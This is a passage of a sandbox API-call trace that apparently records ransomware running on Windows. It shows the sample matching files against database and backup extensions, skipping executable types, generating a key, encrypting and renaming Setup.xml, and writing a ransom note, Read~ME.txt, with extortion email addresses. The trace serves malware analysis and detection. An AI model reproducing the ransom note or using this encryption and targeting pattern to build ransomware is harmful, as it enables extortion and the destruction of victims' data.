	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0073.052] lstrlenW (lpString=".sdf") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0073.052] lstrlenW (lpString=".accdb") returned 6
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0073.052] lstrlenW (lpString=".DBX") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0073.052] lstrlenW (lpString=".MDT") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0073.052] lstrlenW (lpString=".SQB") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0073.052] lstrlenW (lpString=".vhd") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0073.052] lstrlenW (lpString=".bac") returned 4
	[0073.052] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0073.052] lstrlenW (lpString=".mdf") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0073.053] lstrlenW (lpString=".BAK") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0073.053] lstrlenW (lpString=".BAC") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0073.053] lstrlenW (lpString=".dbs") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0073.053] lstrlenW (lpString=".vhdx") returned 5
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0073.053] lstrlenW (lpString=".NDF") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0073.053] lstrlenW (lpString=".dat") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0073.053] lstrlenW (lpString=".DBS") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0073.053] lstrlenW (lpString=".CKP") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0073.053] lstrlenW (lpString=".edb") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0073.053] lstrlenW (lpString=".PST") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0073.053] lstrlenW (lpString=".dbf") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0073.053] lstrlenW (lpString=".SQL") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0073.053] lstrlenW (lpString=".pst") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0073.053] lstrlenW (lpString=".dbv") returned 4
	[0073.053] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0073.054] lstrlenW (lpString=".SDF") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0073.054] lstrlenW (lpString=".dtxs") returned 5
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0073.054] lstrlenW (lpString=".db3") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0073.054] lstrlenW (lpString=".OST") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0073.054] lstrlenW (lpString=".dbx") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0073.054] lstrlenW (lpString=".DB3") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0073.054] lstrlenW (lpString=".DAT") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0073.054] lstrlenW (lpString=".VHDX") returned 5
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0073.054] lstrlenW (lpString=".ndf") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0073.054] lstrlenW (lpString=".DB") returned 3
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0073.054] lstrlenW (lpString=".sql") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0073.054] lstrlenW (lpString=".MYD") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0073.054] lstrlenW (lpString=".DBT") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0073.054] lstrlenW (lpString=".ACCDB") returned 6
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0073.054] lstrlenW (lpString=".fdb") returned 4
	[0073.054] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0073.055] lstrlenW (lpString=".bak") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0073.055] lstrlenW (lpString=".myd") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0073.055] lstrlenW (lpString=".DTXS") returned 5
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0073.055] lstrlenW (lpString=".ckp") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0073.055] lstrlenW (lpString=".dbt") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0073.055] lstrlenW (lpString=".db") returned 3
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0073.055] lstrlenW (lpString=".TXT") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0073.055] lstrlenW (lpString=".MDF") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0073.055] lstrlenW (lpString=".bdb") returned 4
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0073.055] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0073.055] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0073.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fa6b8
	[0073.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0073.055] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0073.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0073.056] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0073.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0073.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0073.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3b24c8
	[0073.056] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19304662281) returned 1
	[0073.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x965a91b0, dwHighDateTime=0x1d60e1e)) 
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0d8
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0073.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0d8 | out: hHeap=0x300000) returned 1
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0073.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b75d0
	[0073.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0073.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b75d0 | out: hHeap=0x300000) returned 1
	[0073.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0073.057] GetLastError () returned 0x0
	[0073.057] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.058] SetLastError (dwErrCode=0x0) 
	[0073.058] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] GetLastError () returned 0x0
	[0073.059] SetLastError (dwErrCode=0x0) 
	[0073.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c76e8
	[0073.060] ReadFile (in: hFile=0x11c, lpBuffer=0x3c76e8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesRead=0x1f8fec0*=0x93a, lpOverlapped=0x0) returned 1
	[0073.061] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff6c6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0073.061] WriteFile (in: hFile=0x11c, lpBuffer=0x3c76e8*, nNumberOfBytesToWrite=0x93a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3c76e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x93a, lpOverlapped=0x0) returned 1
	[0073.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c76e8 | out: hHeap=0x300000) returned 1
	[0073.062] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.062] WriteFile (in: hFile=0x11c, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0073.062] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0073.062] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0073.062] CloseHandle (hObject=0x11c) returned 1
	[0073.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4048
	[0073.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0073.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4048 | out: hHeap=0x300000) returned 1
	[0073.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0073.065] GetLastError () returned 0x0
	[0073.065] SetLastError (dwErrCode=0x0) 
	[0073.065] GetLastError () returned 0x0
	[0073.065] SetLastError (dwErrCode=0x0) 
	[0073.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0073.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b24c8 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa6b8 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e71b0 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0073.066] RtlWakeConditionVariable () returned 0x365f70
	[0073.066] GetCurrentThreadId () returned 0xaf0
	[0073.066] GetCurrentThreadId () returned 0xaf0
	[0073.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0073.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e110 | out: hHeap=0x300000) returned 1
	[0073.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7258
	[0073.066] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0073.066] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0073.067] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0073.068] CloseHandle (hObject=0x11c) returned 1
	[0073.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7258 | out: hHeap=0x300000) returned 1
	[0073.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0073.068] RtlWakeConditionVariable () returned 0x365f70
	[0073.068] GetCurrentThreadId () returned 0xaf0
	[0073.069] GetCurrentThreadId () returned 0xaf0
	[0073.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faf00 | out: hHeap=0x300000) returned 1
	[0073.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e148 | out: hHeap=0x300000) returned 1
	[0073.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0073.069] lstrlenW (lpString=".scr") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0073.069] lstrlenW (lpString=".cmd") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0073.069] lstrlenW (lpString=".dll") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0073.069] lstrlenW (lpString=".bat") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0073.069] lstrlenW (lpString=".cpl") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0073.069] lstrlenW (lpString=".sys") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0073.069] lstrlenW (lpString=".msc") returned 4
	[0073.069] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0073.069] lstrlenW (lpString=".com") returned 4
	[0073.070] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0073.070] lstrlenW (lpString=".lnk") returned 4
	[0073.070] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0073.070] lstrlenW (lpString=".msp") returned 4
	[0073.070] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0073.070] lstrlenW (lpString=".pif") returned 4
	[0073.070] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0073.070] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.070] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0073.070] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0073.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0073.070] RtlWakeConditionVariable () returned 0x365f70
	[0073.070] GetCurrentThreadId () returned 0xaf0
	[0073.070] GetCurrentThreadId () returned 0xaf0
	[0073.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa268 | out: hHeap=0x300000) returned 1
	[0073.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e180 | out: hHeap=0x300000) returned 1
	[0073.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0073.071] lstrlenW (lpString=".scr") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0073.071] lstrlenW (lpString=".cmd") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0073.071] lstrlenW (lpString=".dll") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0073.071] lstrlenW (lpString=".bat") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0073.071] lstrlenW (lpString=".cpl") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0073.071] lstrlenW (lpString=".sys") returned 4
	[0073.071] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0073.071] lstrlenW (lpString=".msc") returned 4
